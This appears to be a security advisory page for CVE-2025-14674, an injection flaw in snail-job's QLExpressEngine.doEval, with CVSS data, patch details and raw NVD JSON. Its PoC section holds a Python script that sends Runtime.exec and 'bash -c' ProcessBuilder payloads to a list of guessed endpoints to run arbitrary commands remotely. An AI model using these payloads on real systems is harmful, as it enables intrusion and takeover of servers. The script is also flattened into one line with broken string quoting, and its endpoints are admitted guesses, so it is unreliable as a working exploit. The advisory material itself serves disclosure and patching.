Security Vulnerability Report
中文
CVE-2025-14674 CVSS 6.3 MEDIUM

CVE-2025-14674

Published: 2025-12-14 18:15:44
Last Modified: 2026-04-15 00:35:42

Description

A vulnerability was found in aizuda snail-job up to 1.6.0. Affected by this vulnerability is the function QLExpressEngine.doEval of the file snail-job-common/snail-job-common-core/src/main/java/com/aizuda/snailjob/common/core/expression/strategy/QLExpressEngine.java. The manipulation results in injection. The attack can be launched remotely. Upgrading to version 1.7.0-beta1 addresses this issue. The patch is identified as 978f316c38b3d68bb74d2489b5e5f721f6675e86. The affected component should be upgraded.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

aizuda snail-job < 1.7.0-beta1
aizuda snail-job 1.0.0 - 1.6.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-14674 PoC - QLExpress Engine Injection in snail-job # Target: aizuda snail-job <= 1.6.0 TARGET_URL = "http://target:8080" def exploit(target_url, command="whoami"): """ Exploit QLExpress injection via QLExpressEngine.doEval This PoC demonstrates remote code execution """ # Malicious QLExpress expression for RCE # Using QLExpress's ability to execute system commands payload = f"" Runtime.getRuntime().exec("{command}") """ # Alternative payload using ProcessBuilder alt_payload = f"" new ProcessBuilder(Arrays.asList("bash", "-c", "{command}")).start().waitFor() """ # Endpoint depends on snail-job configuration # Common endpoints for expression evaluation endpoints = [ "/api/expression/eval", "/api/job/expression", "/expression/eval", "/admin/expression/eval" ] headers = { "Content-Type": "application/json", "Authorization": "Bearer <low_privilege_token>" } data = { "expression": payload, "type": "QLExpress" } for endpoint in endpoints: try: response = requests.post( f"{target_url}{endpoint}", headers=headers, json=data, timeout=10 ) if response.status_code == 200: print(f"[!] Success! Command executed via {endpoint}") print(f"Response: {response.text}") return True except Exception as e: continue print("[*] Exploitation failed - target may be patched or endpoint not found") return False if __name__ == "__main__": import sys cmd = sys.argv[1] if len(sys.argv) > 1 else "whoami" exploit(TARGET_URL, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14674", "sourceIdentifier": "[email protected]", "published": "2025-12-14T18:15:43.977", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in aizuda snail-job up to 1.6.0. Affected by this vulnerability is the function QLExpressEngine.doEval of the file snail-job-common/snail-job-common-core/src/main/java/com/aizuda/snailjob/common/core/expression/strategy/QLExpressEngine.java. The manipulation results in injection. The attack can be launched remotely. Upgrading to version 1.7.0-beta1 addresses this issue. The patch is identified as 978f316c38b3d68bb74d2489b5e5f721f6675e86. The affected component should be upgraded."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-707"}]}], "references": [{"url": "https://gitee.com/aizuda/snail-job/", "source": "[email protected]"}, {"url": "https://gitee.com/aizuda/snail-job/commit/978f316c38b3d68bb74d2489b5e5f721f6675e86", "source": "[email protected]"}, {"url": "https://gitee.com/aizuda/snail-job/issues/ICNUG0", "source": "[email protected]"}, {"url": "https://gitee.com/aizuda/snail-job/issues/ICNUG0#note_44321424_link", "source": "[email protected]"}, {"url": "https://gitee.com/aizuda/snail-job/releases/tag/vsj1.7.0-beta1", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.336403", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.336403", "source": "[email protected]"}]}}